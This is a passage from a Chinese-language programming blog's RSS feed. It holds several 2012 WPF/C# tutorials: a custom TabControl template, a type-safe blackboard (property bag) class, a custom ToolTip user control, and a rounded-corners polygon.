&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28186_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/797a20d8d2f0489af03c4d57e307fcf0c14657be.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;为了改变TabControl的显示效果。我们使用模板机制，我们把模板写进一个资源字典里。这样就可以重用了。添加一个资源字典的步骤如下&lt;/p&gt;
&lt;p&gt;右键点击工程-添加-资源字典&lt;/p&gt;
&lt;p&gt;然后在资源字典里添加一些代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  &amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

        &amp;lt;Grid&amp;gt;

            &amp;lt;Grid.ColumnDefinitions&amp;gt;

                &amp;lt;ColumnDefinition Width=&#34;160&#34; /&amp;gt;

                &amp;lt;ColumnDefinition/&amp;gt;

            &amp;lt;/Grid.ColumnDefinitions&amp;gt;

            &amp;lt;Border Background=&#34;#FFE9ECEF&#34;

                    Grid.Column=&#34;0&#34;

                    BorderBrush=&#34;LightGray&#34;

                    BorderThickness=&#34;1&#34;

                    SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;StackPanel IsItemsHost=&#34;True&#34;

                        Grid.Column=&#34;0&#34;

                        Margin=&#34;0,0,-1,0&#34;

                        SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;ContentPresenter

                Content=&#34;{TemplateBinding SelectedContent}&#34;

                Grid.Column=&#34;1&#34;

                Margin=&#34;15,0,0,0&#34; /&amp;gt;

        &amp;lt;/Grid&amp;gt;

    &amp;lt;/ControlTemplate&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这样就添加了一个有一个grid元素的名为OfficeTabControl的控件模板 . Grid 被分成两列，一列是标签页，一列是页内容。左边的列包含一个灰色背景和亮灰色的边缘线，然后一个StackPanel，IsItemsHost属性被设置为true，&lt;/p&gt;
&lt;p&gt;这样标签项被会放在这个栈面板里。第二列是ContentPresenter 这会放置标签页内容。然后让我们前面的TabControl使用新模板。设置Template 属性。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; &amp;lt;Window.Resources&amp;gt;

        &amp;lt;ResourceDictionary&amp;gt;

            &amp;lt;ResourceDictionary.MergedDictionaries&amp;gt;

                &amp;lt;ResourceDictionary Source=&#34;OfficeTab.xaml&#34; /&amp;gt;

            &amp;lt;/ResourceDictionary.MergedDictionaries&amp;gt;

        &amp;lt;/ResourceDictionary&amp;gt;

    &amp;lt;/Window.Resources&amp;gt;

    &amp;lt;TabControl Name=&#34;tabSteps&#34; Template=&#34;{StaticResource OfficeTabControl}&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在这之前，先把资源字典加到窗体的Reesouce里。然后再设置。然后运行软件。效果会有一些不一样。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28187_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ba7dae0ace3d2aba71967d816315b1b953d139b.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后要修改左侧单个标签的显示效果。通过改变模板来实现。给模板添加如下的代码&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

    &amp;lt;ControlTemplate.Resources&amp;gt;

        &amp;lt;Style TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

            &amp;lt;Setter Property=&#34;Template&#34;&amp;gt;

                &amp;lt;Setter.Value&amp;gt;

                    &amp;lt;ControlTemplate TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

                        &amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

                            &amp;lt;ContentPresenter

                                Name=&#34;buttonText&#34;

                                Margin=&#34;15,0,5,0&#34;

                                TextBlock.FontFamily=&#34;Calibri&#34;

                                TextBlock.FontSize=&#34;12pt&#34;

                                TextBlock.Foreground=&#34;Black&#34;

                                Content=&#34;{TemplateBinding Header}&#34;

                                VerticalAlignment=&#34;Center&#34;/&amp;gt;

                        &amp;lt;/Grid&amp;gt;

                    &amp;lt;/ControlTemplate&amp;gt;

                &amp;lt;/Setter.Value&amp;gt;

            &amp;lt;/Setter&amp;gt;

        &amp;lt;/Style&amp;gt;

    &amp;lt;/ControlTemplate.Resources&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后再运行&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28188_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ded32740b808794d30171ba7b82b5b1c6c89a6c3.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;VisualState很有意思。我们可以放在Grid里。然后设置正常状态和鼠标悬停的状态。&lt;/p&gt;
&lt;p&gt;为了添加鼠标悬停效果，我们添加两个Borders元素。一个右边缘是灰线，另一个用在背景上。亮蓝色放在上下边缘&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Border Name=&#34;hoverShape&#34;

        Height=&#34;40&#34;

        Margin=&#34;0,0,1,0&#34;

        SnapsToDevicePixels=&#34;True&#34;

        BorderThickness=&#34;0,0,1,0&#34;

        BorderBrush=&#34;LightGray&#34;&amp;gt;

    &amp;lt;Border BorderBrush=&#34;#FFA1B7EA&#34;

            BorderThickness=&#34;0,1&#34;

            Background=&#34;#FFE5EEF9&#34;

            Height=&#34;40&#34;

            SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

&amp;lt;/Border&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后，我们为VisualState创建故事板，一个是正常状态。会使得hoverShape的透明度为0.另一个是鼠标悬停的状态。透明度会变成1&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

    &amp;lt;VisualStateManager.VisualStateGroups&amp;gt;

        &amp;lt;VisualStateGroup Name=&#34;CommonStates&#34;&amp;gt;

            &amp;lt;VisualState Name=&#34;MouseOver&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;1&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

            &amp;lt;VisualState Name=&#34;Normal&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;0&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

        &amp;lt;/VisualStateGroup&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后效果如下&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28193_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c3260420be7f836a117fde4fbf6f35cc91728bc9.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>类型安全的黑板模式（属性包）</title>
      <link>http://blog.leaver.me/2012/10/16/%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8%E7%9A%84%E9%BB%91%E6%9D%BF%E6%A8%A1%E5%BC%8F%E5%B1%9E%E6%80%A7%E5%8C%85/</link>
      <pubDate>Tue, 16 Oct 2012 12:12:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/16/%E7%B1%BB%E5%9E%8B%E5%AE%89%E5%85%A8%E7%9A%84%E9%BB%91%E6%9D%BF%E6%A8%A1%E5%BC%8F%E5%B1%9E%E6%80%A7%E5%8C%85/</guid>
      <description>&lt;p&gt;有时候对于对象来说。在一个软件中，不直接通过互相引用而做到共享信息是非常有用的。比如像带有插件的软件。可以互相进行通信。假设我们有了很多对象。其中一些包含一些数据。而另一些对象需要消费这些数据 不同的子集，我们不通过对数据生产者和消费者的直接引用来实现，而是通过更低耦合的方式。叫做创建一个“BlackBoard”（黑板）对象。该对象允许其他对象自由对其进行读取/写入数据。这种解耦方式使得消费者不知道也不必知道数据来自哪里。如果想要了解更多关于黑板模式的信息。我们常说的。Google是你最好的朋友。&lt;/p&gt;
&lt;p&gt;一个最简单的黑板对象应该是 Dictionary一些简单的命名值的字典。所有的对象共享同一个字典引用。使得他们可以交换这些命名数据。这种方法有两个问题。一个是名字。一个是类型安全—数据生产者和消费者对每一个数据值都必须共享一个字符串标识。消费者也没有对字典中的值进行编译时的类型检查，比如，可能期望一个小数，结果运行时读到了字符串。本文对这两个问题演示了一种解决方案。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最近我在开发一个通用任务的异步执行的引擎。我的通用任务通常有Do/Undo方法。原则上是相互独立的，但是有一些任务需要从已经执行的任务重请求数据。比如。一个任务可以
为一个硬件设备建立一个API，随后的任务就可以使用创建好的API来操作硬件设备。但是。我不想我的执行引擎知道关于这个执行任务的任何信息。而且。我也不想直接手工的就在一个任务里引用另一个任务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;黑板类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;黑板类本质上是一个Dictionary的包装类，对外暴露Get和Set方法。黑板类允许其他对象存储并且取回数据。但是要求这些数据使用一个
BlackboardProperty 类型的标识符来表示这些数据是可存取的。BlackboardProperty 对象应该在那些准备读写黑板类的对象之间共享，因此，他应该在那些类中作为一个静态成员。（很像WPF的依赖属性。是他们所属控件的静态成员）&lt;/p&gt;
&lt;p&gt;注意：命名安全应该可以通过同样的方式实现。但是但是依然没有解决类型安全的问题。那么。到了主要的部分了。那就是黑板类的代码了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class Blackboard : INotifyPropertyChanged, INotifyPropertyChanging
{
    Dictionary&amp;lt;string, object&amp;gt; _dict = new Dictionary&amp;lt;string, object&amp;gt;();

    public T Get&amp;lt;T&amp;gt;(BlackboardProperty&amp;lt;T&amp;gt; property)
    {
        if (!_dict.ContainsKey(property.Name))
            _dict[property.Name] = property.GetDefault();
        return (T)_dict[property.Name];
    }

    public void Set&amp;lt;T&amp;gt;(BlackboardProperty&amp;lt;T&amp;gt; property, T value)
    {
        OnPropertyChanging(property.Name);
        _dict[property.Name] = value;
        OnPropertyChanged(property.Name);
    }

    #region property change notification

    public event PropertyChangingEventHandler PropertyChanging;

    public event PropertyChangedEventHandler PropertyChanged;

    protected virtual void OnPropertyChanging(string propertyName)
    {
        if (PropertyChanging != null)
            PropertyChanging(this, new PropertyChangingEventArgs(propertyName));
    }

    protected virtual void OnPropertyChanged(string propertyName)
    {
        if (PropertyChanged != null)
            PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
    }
    #endregion
}&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;黑板属性（BlackBoardProperty）类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BlackBoardProperty 类 提供了一个标识符来存取黑板对象中的数据。定义了名称和值的类型。也定义了一个默认的返回值。以防黑板类中对应属性没有值。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/// &amp;lt;summary&amp;gt;
/// 对应黑板类中的属性的强类型标识符
/// &amp;lt;/summary&amp;gt;
/// &amp;lt;typeparam name=&#34;T&#34;&amp;gt;该类能识别的属性值的类型&amp;lt;/typeparam&amp;gt;
public class BlackboardProperty&amp;lt;T&amp;gt;
{
    /// &amp;lt;summary&amp;gt;
    /// 属性的名称
    /// &amp;lt;remarks&amp;gt;
    /// 黑板类的属性通过名称来存储。请注意不要让相同的名字有不同的属性值。因为如果被用在同样的黑板类上。他们会互相覆盖值
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;/summary&amp;gt;
    public string Name { get; set; }

//当黑板对象没有包含对应属性的时候。该工厂方法被用来提供一个默认的值
    //    
Func&amp;lt;T&amp;gt; _createDefaultValueFunc;

    public BlackboardProperty(string name)
        : this(name, default(T))
    {
    }

    /// &amp;lt;summary&amp;gt;
    /// 
    /// &amp;lt;/summary&amp;gt;
    /// &amp;lt;param name=&#34;name&#34;&amp;gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;param name=&#34;defaultValue&#34;&amp;gt;
    /// 当黑板类不包括该属性的时候。该值会被返回。
    /// &amp;lt;remarks&amp;gt;
    /// 如果缺省的值是一个常量或是一个值类型的时候，使用该构造方法。
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;/param&amp;gt;
    public BlackboardProperty(string name, T defaultValue)
    {
        Name = name;
        _createDefaultValueFunc = () =&amp;gt; defaultValue;
    }

    /// &amp;lt;summary&amp;gt;
    /// &amp;lt;/summary&amp;gt;
    /// &amp;lt;remarks&amp;gt;
/// 如果缺省值是一个引用类型，并且，你不想要共享该实例给多个黑板对象的时候。请使用该
/// 构造函数
    /// &amp;lt;/remarks&amp;gt;
    /// &amp;lt;param name=&#34;name&#34;&amp;gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;param name=&#34;createDefaultValueFunc&#34;&amp;gt;&amp;lt;/param&amp;gt;
    public BlackboardProperty(string name, Func&amp;lt;T&amp;gt; createDefaultValueFunc)
    {
        Name = name;
        _createDefaultValueFunc = createDefaultValueFunc;
    }

    public BlackboardProperty()
    {
        Name = Guid.NewGuid().ToString();
    }

    public T GetDefault()
    {
        return _createDefaultValueFunc();
    }
}&lt;/pre&gt;
&lt;p&gt;我承认不是非常有用的代码。但是。能够模拟两个类的使用。
下一个例子会更和现实情况接近。但是肯定是被简化过了的。在下面的例子里。我定义了集中不同的任务。我用这些任务来启动对硬件设备的连接。操作设备。关闭连接。这些任务通过一个执行引擎依次执行，这些任务通过一个公用的黑板类来共享数据。至于这个任务类的和执行引擎（ExecutionEngine）类还是留到另一篇文章中把。&lt;/p&gt;</description>
    </item>
    <item>
      <title>如何创建WPF用户控件&amp;在WPF项目中使用</title>
      <link>http://blog.leaver.me/2012/10/14/%E5%A6%82%E4%BD%95%E5%88%9B%E5%BB%BAwpf%E7%94%A8%E6%88%B7%E6%8E%A7%E4%BB%B6%E5%9C%A8wpf%E9%A1%B9%E7%9B%AE%E4%B8%AD%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Sun, 14 Oct 2012 15:19:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/14/%E5%A6%82%E4%BD%95%E5%88%9B%E5%BB%BAwpf%E7%94%A8%E6%88%B7%E6%8E%A7%E4%BB%B6%E5%9C%A8wpf%E9%A1%B9%E7%9B%AE%E4%B8%AD%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;作者给的Demo我合并了下。VS2010直接打开解决方案。二者都有。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28121_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/82f9a2b2665cf35702e252f3518a2f420361da11.png&#34; title=&#34;00&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文展示在WPF中如何创建用户控件并且如果在WPF项目中使用。我将使用VS2008和C#来展示如何创建一个自定义的ToolTip&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇由&lt;a href=&#34;http://www.codeproject.com/KB/WPF/WPF_CustomerControl.aspx&#34;&gt;Sacha Barber&lt;/a&gt;.写的和我的有点像。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;开始。首先，我们创建一个用户控件。因此，我们选择新建WPF用户控件类库（WPF User Control Library）。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28122_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/920a78558c2e8a260f9fd448739f68cd80e37108.png&#34; title=&#34;01&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在。我们可以创建或者编辑XAML代码来创建自定义的用户控件了。我使用XAML来创建自定义的ToolTip。你想做什么随你。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;UserControl 
    Name=&#34;UserControlToolTip&#34;
    x:Class=&#34;CustomToolTip.UserControl1&#34;
    xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
    xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
    xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34; 
    xmlns:mc=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34; 
    mc:Ignorable=&#34;d&#34; RenderTransformOrigin=&#34;0,0&#34; HorizontalAlignment=&#34;Left&#34; 
	VerticalAlignment=&#34;Top&#34; &amp;gt;

    &amp;lt;UserControl.RenderTransform&amp;gt;
        &amp;lt;TransformGroup&amp;gt;
            &amp;lt;ScaleTransform ScaleX=&#34;1&#34; ScaleY=&#34;1&#34;/&amp;gt;
            &amp;lt;SkewTransform AngleX=&#34;0&#34; AngleY=&#34;0&#34;/&amp;gt;
            &amp;lt;RotateTransform Angle=&#34;0&#34;/&amp;gt;
            &amp;lt;TranslateTransform x:Name=&#34;UserControlToolTipXY&#34; X=&#34;0&#34; Y=&#34;0&#34;/&amp;gt;
        &amp;lt;/TransformGroup&amp;gt;
    &amp;lt;/UserControl.RenderTransform&amp;gt;

    &amp;lt;Grid HorizontalAlignment=&#34;Center&#34; VerticalAlignment=&#34;Center&#34; 
	MinWidth=&#34;200&#34; MinHeight=&#34;120&#34;&amp;gt;
    	&amp;lt;Grid.RowDefinitions&amp;gt;
    		&amp;lt;RowDefinition Height=&#34;0.333*&#34;/&amp;gt;
    		&amp;lt;RowDefinition Height=&#34;0.667*&#34;/&amp;gt;
    	&amp;lt;/Grid.RowDefinitions&amp;gt;
        &amp;lt;Rectangle Fill=&#34;#FFFBFBFB&#34; Stroke=&#34;#FF000000&#34; RadiusX=&#34;10&#34; RadiusY=&#34;10&#34;
        	 RenderTransformOrigin=&#34;0.139,0.012&#34; StrokeThickness=&#34;1&#34; Grid.RowSpan=&#34;2&#34;&amp;gt;
            &amp;lt;Rectangle.BitmapEffect&amp;gt;
                &amp;lt;DropShadowBitmapEffect Opacity=&#34;0.8&#34;/&amp;gt;
            &amp;lt;/Rectangle.BitmapEffect&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.139,0.012&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; 
	Margin=&#34;1,1,1,1&#34; Grid.Row=&#34;0&#34; Grid.RowSpan=&#34;2&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.5,1&#34; StartPoint=&#34;0.5,0.725&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.487&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.014,0.5&#34; StartPoint=&#34;0.211,0.5&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.493,0.002&#34; StartPoint=&#34;0.493,0.33&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;Rectangle RadiusX=&#34;10&#34; RadiusY=&#34;10&#34; RenderTransformOrigin=&#34;0.493,0.485&#34; 
        	StrokeThickness=&#34;10&#34; Stroke=&#34;{x:Null}&#34; Grid.RowSpan=&#34;2&#34; Margin=&#34;1,1,1,1&#34;&amp;gt;
        	&amp;lt;Rectangle.Fill&amp;gt;
        		&amp;lt;LinearGradientBrush EndPoint=&#34;0.99,0.441&#34; StartPoint=&#34;0.794,0.441&#34;&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#00E6D9AA&#34; Offset=&#34;0.513&#34;/&amp;gt;
        			&amp;lt;GradientStop Color=&#34;#FFE6D9AA&#34; Offset=&#34;0.996&#34;/&amp;gt;
        		&amp;lt;/LinearGradientBrush&amp;gt;
        	&amp;lt;/Rectangle.Fill&amp;gt;
        &amp;lt;/Rectangle&amp;gt;
        &amp;lt;TextBlock Text=&#34;TextBlock&#34; TextWrapping=&#34;Wrap&#34; x:Name=&#34;TextBlockToolTip&#34; 
        	RenderTransformOrigin=&#34;0.5,0.5&#34; Grid.Row=&#34;1&#34; HorizontalAlignment=&#34;Left&#34; 
            	VerticalAlignment=&#34;Center&#34; Margin=&#34;20,0,0,20&#34; /&amp;gt;
        &amp;lt;TextBlock Name=&#34;ToolTipTitle&#34; HorizontalAlignment=&#34;Stretch&#34; Margin=&#34;15,16,15,6.1&#34; 
        	FontSize=&#34;14&#34; Text=&#34;title&#34; d:LayoutOverrides=&#34;Height&#34; /&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/UserControl&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;同时。我们需要添加一些方法和属性来控制这些元素。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;namespace CustomToolTip
{
    public partial class UserControl1 : UserControl
    {
        public UserControl1()
        {
            InitializeComponent();
        }

        public double UserControlToolTipX
        {
            get { return this.UserControlToolTipXY.X; }
            set { this.UserControlToolTipXY.X = value; }
        }

        public double UserControlToolTipY
        {
            get { return this.UserControlToolTipXY.Y; }
            set { this.UserControlToolTipXY.Y = value; }
        }

        public string UserControlTextBlockToolTip
        {
            get { return TextBlockToolTip.Text; }
            set { TextBlockToolTip.Text = value; }
        }

        public string UserControlToolTipTitle
        {
            get { return ToolTipTitle.Text; }
            set { ToolTipTitle.Text = value; }
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF绘制圆角多边形</title>
      <link>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</link>
      <pubDate>Sat, 13 Oct 2012 09:45:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最近，我发现我需要个圆角多边形。而且是需要在运行时从用户界面来绘制。WPF有多边形。但是不支持圆角。我搜索了一下。也没找到可行的现成例子。于是就自己做吧。本文描述了圆角多边形的实现，也包括如何用在你的项目里。在Demo里面的RoundedCornersPolygon 类是完整的实现。&lt;/p&gt;
&lt;p&gt;下载的Demo包括两部分&lt;/p&gt;
&lt;p&gt;1. 通过XAML绘制圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28036_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/83dd3b37c81d0d4e1a82e80ba69d00411930ce52.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. 运行时创建圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28037_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/864fccf9677ea6ce52dad56c85cf7389108c6874.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
多边形可以被认为是沿着一个给定半径的圆的边缘和一些指定点/边。所构成的点的集合。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28038_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/82969618833250386b07a5177dc8c454da0530e1.gif&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
在WPF中。你可以给Polygon对象的Points属性添加一系列的点来制作多边形。&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;Polygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
       StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; /&amp;gt;
&amp;lt;/Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas(); 
var polygon = new Polygon {StrokeThickness = 1, Fill = Brushes.Black};
polygon.Points.Add(new Point(10, 50)); 
polygon.Points.Add(new Point(180, 50));
polygon.Points.Add(new Point(180, 150));
polygon.Points.Add(new Point(10, 150));
cnv.Children.Add(polygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;上面两个例子会输出下面的矩形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28039_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/787268128d45598cff769b9209e41652a66775ae.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
我写的RoundedCornersPolygon 类和普通的多边形类很相似。但是有更多的属性来控制圆角。首先。看一个例子。展示一下圆角矩形类的使用&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;CustomRoundedCornersPolygon:RoundedCornersPolygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
               StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; ArcRoundness=&#34;25&#34; 
               UseAnglePercentage=&#34;False&#34; IsClosed=&#34;True&#34;/&amp;gt;
&amp;lt;Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas();  
var roundedPolygon = new RoundedCornersPolygon
{
    Stroke = Brushes.Black, StrokeThickness = 1, 
    ArcRoundness = 25, UseAnglePercentage = false, IsClosed = true
};
roundedPolygon.Points.Add(new Point(10, 50));
roundedPolygon.Points.Add(new Point(180, 50));
roundedPolygon.Points.Add(new Point(180, 150));
roundedPolygon.Points.Add(new Point(10, 150));
cnv.Children.Add(roundedPolygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28040_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fb11bced67d29f74ff4e539a8008871934d74c04.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;
